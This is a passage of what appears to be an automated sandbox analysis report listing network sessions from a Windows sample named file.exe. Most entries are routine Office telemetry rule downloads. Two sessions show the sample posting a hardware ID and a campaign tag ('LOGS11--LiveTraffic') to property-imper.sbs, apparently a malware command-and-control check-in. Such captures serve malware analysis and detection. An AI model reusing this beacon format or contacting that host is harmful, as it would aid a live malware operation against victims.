cfL4;desc="?proto=TCP&rtt=1874&sent=11&recv=26&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21336&delivery_rate=1586956&cwnd=240&unsent_bytes=0&cid=9e4175ae540c88c6&ts=911&x=0"
2024-11-24 04:11:29 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 04:11:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:30 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:30 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 63e0f5a8-701e-0032-207a-3ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041130Z-174c587ffdfcb7qhhC1TEB3x7000000003wg00000000nh3v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:30 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:30 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:30 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 9bf3f441-f01e-003f-246b-3bd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041130Z-178bfbc474bnwsh4hC1NYC2ubs00000005m0000000002nzc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:30 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:30 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:30 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: f380030e-501e-007b-0625-3d5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041130Z-178bfbc474bv587zhC1NYCny5w00000005ag0000000084k9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:30 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:30 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:30 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 918e3103-701e-0097-4a7c-3bb8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041130Z-174c587ffdf7t49mhC1TEB4qbg00000003qg00000000r3h5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:30 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:30 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:31 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:30 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: f1d8b84e-f01e-0096-7de6-3d10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041130Z-178bfbc474bpnd5vhC1NYC4vr400000005bg00000000f21p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 04:11:31 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49729	104.21.33.116	443	7416	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:31 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8Y9LCPICK9U User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1184 Host: property-imper.sbs
2024-11-24 04:11:31 UTC	1184	OUT	Data Raw: 2d 2d 38 59 39 4c 43 50 49 43 4b 39 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 35 41 46 45 44 38 41 38 43 46 38 42 41 44 34 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 38 59 39 4c 43 50 49 43 4b 39 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 38 59 39 4c 43 50 49 43 4b 39 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 38 59 39 4c 43 50 49 43 4b 39 55 Data Ascii: --8Y9LCPICK9UContent-Disposition: form-data; name="hwid"95AFED8A8CF8BAD4D7CBBD6DF28D3732--8Y9LCPICK9UContent-Disposition: form-data; name="pid"1--8Y9LCPICK9UContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--8Y9LCPICK9U
2024-11-24 04:11:31 UTC	1020	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1lhhjf253su6ao87g6blfok0b9; expires=Wed, 19-Mar-2025 21:58:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cOrBRLMwuzjRDNX4vwaa6feH3%2FFrGWXijPphI%2BobBfm3z7WpOf%2FLJwmlXtW%2BGwIVenlkmvpYUVk41hP%2FT%2FycW16vd4K2ooPEjiLLpcQaY4VBgxurEq84BdHry81S1V49ALqGJBU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e768e306e327c94-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1830&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2096&delivery_rate=1575822&cwnd=234&unsent_bytes=0&cid=8314a3a8649e73c2&ts=710&x=0"
2024-11-24 04:11:31 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 04:11:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:32 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:32 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:32 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: c28a24b9-601e-0097-1e86-3df33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041132Z-15b8b599d88hd9g7hC1TEBp75c00000003v000000000crep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 04:11:32 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:32 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:32 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 0be92aa4-301e-006e-24ea-3df018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041132Z-178bfbc474brk967hC1NYCfu6000000005a000000000344m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:33 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:32 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: babf4520-701e-005c-6e46-3cbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041132Z-15b8b599d88m7pn7hC1TEB4axw00000003z00000000097fu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:33 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:32 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 107b228c-c01e-00a2-1f8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041132Z-178bfbc474bscnbchC1NYCe7eg00000005k000000000bkrm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:33 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 04:11:32 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 04:11:33 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 04:11:33 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c49e358a-d01e-008e-6463-3b387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T041133Z-178bfbc474bgvl54hC1NYCsfuw00000005g00000000039ug x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 04:11:33 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49736	104.21.33.116	443	7416	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
